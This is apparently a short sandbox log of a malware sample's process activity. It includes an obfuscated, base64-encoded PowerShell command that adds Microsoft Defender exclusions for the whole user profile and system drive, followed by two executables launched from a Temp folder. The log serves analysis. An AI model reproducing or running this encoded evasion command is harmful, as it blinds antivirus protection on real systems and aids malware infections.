powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AbQBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAcAB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAYgBjACMAPgA="
2180mupdater.exe "C:\Users\test22\AppData\Local\Temp\mupdater.exe"
2232gupdater.exe "C:\Users\test22\AppData\Local\Temp\gupdater.exe"
2476